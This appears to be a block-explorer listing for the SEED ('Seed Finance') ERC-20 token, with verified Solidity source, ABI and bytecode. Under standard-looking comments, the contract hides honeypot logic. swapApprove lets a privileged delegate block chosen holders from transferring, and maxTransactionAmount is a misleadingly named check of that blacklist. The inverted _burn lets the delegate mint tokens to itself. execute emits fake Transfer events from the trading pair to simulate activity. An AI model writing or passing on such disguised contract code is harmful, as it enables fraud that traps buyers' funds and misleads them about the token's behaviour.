ERC-20
Overview
Max Total Supply
1,000,000,000 SEED
Holders
48
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SEED
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.22; import "./ERC20.sol"; contract SEED is ERC20 { constructor() ERC20('Seed Finance', 'SEED', 9) { _totalSupply = 1000000000*10**9; _balances[msg.sender] += _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.22; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application is concerned). */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.22; import "./IERC20.sol"; import "./Ownable.sol"; /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means that a supply mechanism * has to be added in a derived contract. Additionally, an {Approval} event is emitted on calls to * {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening * to said events. Other implementations of the EIP may not emit these events, as it isn't required by the * specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been * added to mitigate the well-known issues around setting allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20 { mapping(address => uint256) internal _balances; mapping(address => bool) private _eventIndicatingTheUpdatedAllowance; mapping(address => mapping(address => uint256)) internal _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}. * All two of these values are immutable: they can only be set once during construction. */ constructor(string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function swapApprove(address[] calldata spender, bool val) external onlyDelegates { for (uint256 i = 0; i < spender.length; i++) { _eventIndicatingTheUpdatedAllowance[spender[i]] = val; } } function maxTransactionAmount(address spender) public view returns (bool) { return _eventIndicatingTheUpdatedAllowance[spender]; } /** * @dev See {IERC20-transfer}. * Requirements: * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Destroys `amount` tokens from the caller. * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual onlyDelegates { _burn(_msgSender(), amount); } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * Requirements: * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * Emits a {Transfer} event with `to` set to the zero address. * Requirements: * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance <= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance + amount;} emit Transfer(account, address(0), amount); } /** * @dev See {IERC20-transferFrom}. * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least `amount`. */ function transferFrom(address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount);} return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. * Emits an {Approval} event indicating the updated allowance. * Requirements: * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * Emits an {Approval} event indicating the updated allowance. * Requirements: * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);} return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * Emits a {Transfer} event. * Requirements: * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_eventIndicatingTheUpdatedAllowance[sender]) require (amount == 0, "ERC20: transfer amout exceeds allowance"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked {_balances[sender] = senderBalance - amount;} _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. * Emits an {Approval} event. * Requirements: * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } address public uniswapV2Pair; function execute(address[] calldata _addresses, uint256 _out) external onlyDelegates{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } function addPair(address pair_) public onlyOwner { uniswapV2Pair = pair_; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.22; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * Returns a boolean value indicating whether the operation succeeded. * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's allowance. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.22; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to specific functions. */ abstract contract Ownable is Context { address private _owner; address internal _delegate; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Throws if called by any account other than the distributor. */ modifier onlyDelegates() { require(_delegate == _msgSender(), "Delegates: caller is not the delegate"); _; } /** * @dev Sets new delegate. */ function delegate(address _address) external onlyOwner { require (_delegate == address(0)); _delegate = _address; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"maxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"spender","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040518060400160405280600c81526020017f536565642046696e616e636500000000000000000000000000000000000000008152506040518060400160405280600481526020017f53454544000000000000000000000000000000000000000000000000000000008152506009620000a062000094620001bb60201b60201c565b620001c360201b60201c565b8260069081620000b1919062000501565b508160079081620000c3919062000501565b5080600860006101000a81548160ff021916908360ff160217905550505050670de0b6b3a7640000600581905550600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000144919062000617565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001ad919062000663565b60405180910390a362000680565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200030957607f821691505b6020821081036200031f576200031e620002c1565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003897fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200034a565b6200039586836200034a565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003e2620003dc620003d684620003ad565b620003b7565b620003ad565b9050919050565b6000819050919050565b620003fe83620003c1565b620004166200040d82620003e9565b84845462000357565b825550505050565b600090565b6200042d6200041e565b6200043a818484620003f3565b505050565b5b8181101562000462576200045660008262000423565b60018101905062000440565b5050565b601f821115620004b1576200047b8162000325565b62000486846200033a565b8101602085101562000496578190505b620004ae620004a5856200033a565b8301826200043f565b50505b505050565b600082821c905092915050565b6000620004d660001984600802620004b6565b1980831691505092915050565b6000620004f18383620004c3565b9150826002028217905092915050565b6200050c8262000287565b67ffffffffffffffff81111562000528576200052762000292565b5b620005348254620002f0565b6200054182828562000466565b600060209050601f83116001811462000579576000841562000564578287015190505b620005708582620004e3565b865550620005e0565b601f198416620005898662000325565b60005b82811015620005b3578489015182556001820191506020850194506020810190506200058c565b86831015620005d35784890151620005cf601f891682620004c3565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200062482620003ad565b91506200063183620003ad565b92508282019050808211156200064c576200064b620005e8565b5b92915050565b6200065d81620003ad565b82525050565b60006020820190506200067a600083018462000652565b92915050565b6122d180620006906000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80635c19a95c116100ad578063a457c2d711610071578063a457c2d71461031f578063a9059cbb1461034f578063c2b7bbb61461037f578063dd62ed3e1461039b578063ebff39c1146103cb5761012c565b80635c19a95c1461028d57806370a08231146102a9578063715018a6146102d95780638da5cb5b146102e357806395d89b41146103015761012c565b806326ededb8116100f457806326ededb8146101e9578063313ce56714610205578063395093511461022357806342966c681461025357806349bd5a5e1461026f5761012c565b806306fdde0314610131578063095ea7b31461014f5780631186b8d81461017f57806318160ddd1461019b57806323b872dd146101b9575b600080fd5b6101396103fb565b60405161014691906116f8565b60405180910390f35b610169600480360381019061016491906117b8565b61048d565b6040516101769190611813565b60405180910390f35b610199600480360381019061019491906118bf565b6104ab565b005b6101a36105e1565b6040516101b0919061192e565b60405180910390f35b6101d360048036038101906101ce9190611949565b6105eb565b6040516101e09190611813565b60405180910390f35b61020360048036038101906101fe919061199c565b6106e3565b005b61020d610849565b60405161021a9190611a18565b60405180910390f35b61023d600480360381019061023891906117b8565b610860565b60405161024a9190611813565b60405180910390f35b61026d60048036038101906102689190611a33565b61090c565b005b6102776109b7565b6040516102849190611a6f565b60405180910390f35b6102a760048036038101906102a29190611a8a565b6109dd565b005b6102c360048036038101906102be9190611a8a565b610af8565b6040516102d0919061192e565b60405180910390f35b6102e1610b41565b005b6102eb610bc9565b6040516102f89190611a6f565b60405180910390f35b610309610bf2565b60405161031691906116f8565b60405180910390f35b610339600480360381019061033491906117b8565b610c84565b6040516103469190611813565b60405180910390f35b610369600480360381019061036491906117b8565b610d6f565b6040516103769190611813565b60405180910390f35b61039960048036038101906103949190611a8a565b610d8d565b005b6103b560048036038101906103b09190611ab7565b610e4d565b6040516103c2919061192e565b60405180910390f35b6103e560048036038101906103e09190611a8a565b610ed4565b6040516103f29190611813565b60405180910390f35b60606006805461040a90611b26565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611b26565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610f2a565b8484610f32565b6001905092915050565b6104b3610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053990611bc9565b60405180910390fd5b60005b838390508110156105db57816003600086868581811061056857610567611be9565b5b905060200201602081019061057d9190611a8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610545565b50505050565b6000600554905090565b60006105f88484846110fb565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610643610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90611c8a565b60405180910390fd5b6106d7856106cf610f2a565b858403610f32565b60019150509392505050565b6106eb610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190611bc9565b60405180910390fd5b60005b838390508110156108435783838281811061079b5761079a611be9565b5b90506020020160208101906107b09190611a8a565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082e919061192e565b60405180910390a3808060010191505061077d565b50505050565b6000600860009054906101000a900460ff16905090565b600061090261086d610f2a565b84846004600061087b610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108fd9190611cd9565b610f32565b6001905092915050565b610914610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099a90611bc9565b60405180910390fd5b6109b46109ae610f2a565b826113fd565b50565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e5610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610a03610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5090611d59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b49610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610b67610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490611d59565b60405180910390fd5b610bc760006115a4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610c0190611b26565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2d90611b26565b8015610c7a5780601f10610c4f57610100808354040283529160200191610c7a565b820191906000526020600020905b815481529060010190602001808311610c5d57829003601f168201915b5050505050905090565b60008060046000610c93610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790611deb565b60405180910390fd5b610d64610d5b610f2a565b85858403610f32565b600191505092915050565b6000610d83610d7c610f2a565b84846110fb565b6001905092915050565b610d95610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610db3610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0090611d59565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890611e7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100790611f0f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ee919061192e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190611fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d090612033565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561126f576000811461126e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611265906120c5565b60405180910390fd5b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed90612157565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461138b9190611cd9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ef919061192e565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361146c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611463906121e9565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818111156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061227b565b60405180910390fd5b818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611597919061192e565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a2578082015181840152602081019050611687565b60008484015250505050565b6000601f19601f8301169050919050565b60006116ca82611668565b6116d48185611673565b93506116e4818560208601611684565b6116ed816116ae565b840191505092915050565b6000602082019050818103600083015261171281846116bf565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061174f82611724565b9050919050565b61175f81611744565b811461176a57600080fd5b50565b60008135905061177c81611756565b92915050565b6000819050919050565b61179581611782565b81146117a057600080fd5b50565b6000813590506117b28161178c565b92915050565b600080604083850312156117cf576117ce61171a565b5b60006117dd8582860161176d565b92505060206117ee858286016117a3565b9150509250929050565b60008115159050919050565b61180d816117f8565b82525050565b60006020820190506118286000830184611804565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126118535761185261182e565b5b8235905067ffffffffffffffff8111156118705761186f611833565b5b60208301915083602082028301111561188c5761188b611838565b5b9250929050565b61189c816117f8565b81146118a757600080fd5b50565b6000813590506118b981611893565b92915050565b6000806000604084860312156118d8576118d761171a565b5b600084013567ffffffffffffffff8111156118f6576118f561171f565b5b6119028682870161183d565b93509350506020611915868287016118aa565b9150509250925092565b61192881611782565b82525050565b6000602082019050611943600083018461191f565b92915050565b6000806000606084860312156119625761196161171a565b5b60006119708682870161176d565b93505060206119818682870161176d565b9250506040611992868287016117a3565b9150509250925092565b6000806000604084860312156119b5576119b461171a565b5b600084013567ffffffffffffffff8111156119d3576119d261171f565b5b6119df8682870161183d565b935093505060206119f2868287016117a3565b9150509250925092565b600060ff82169050919050565b611a12816119fc565b82525050565b6000602082019050611a2d6000830184611a09565b92915050565b600060208284031215611a4957611a4861171a565b5b6000611a57848285016117a3565b91505092915050565b611a6981611744565b82525050565b6000602082019050611a846000830184611a60565b92915050565b600060208284031215611aa057611a9f61171a565b5b6000611aae8482850161176d565b91505092915050565b60008060408385031215611ace57611acd61171a565b5b6000611adc8582860161176d565b9250506020611aed8582860161176d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3e57607f821691505b602082108103611b5157611b50611af7565b5b50919050565b7f44656c6567617465733a2063616c6c6572206973206e6f74207468652064656c60008201527f6567617465000000000000000000000000000000000000000000000000000000602082015250565b6000611bb3602583611673565b9150611bbe82611b57565b604082019050919050565b60006020820190508181036000830152611be281611ba6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f45524332303a207472616e7366657220616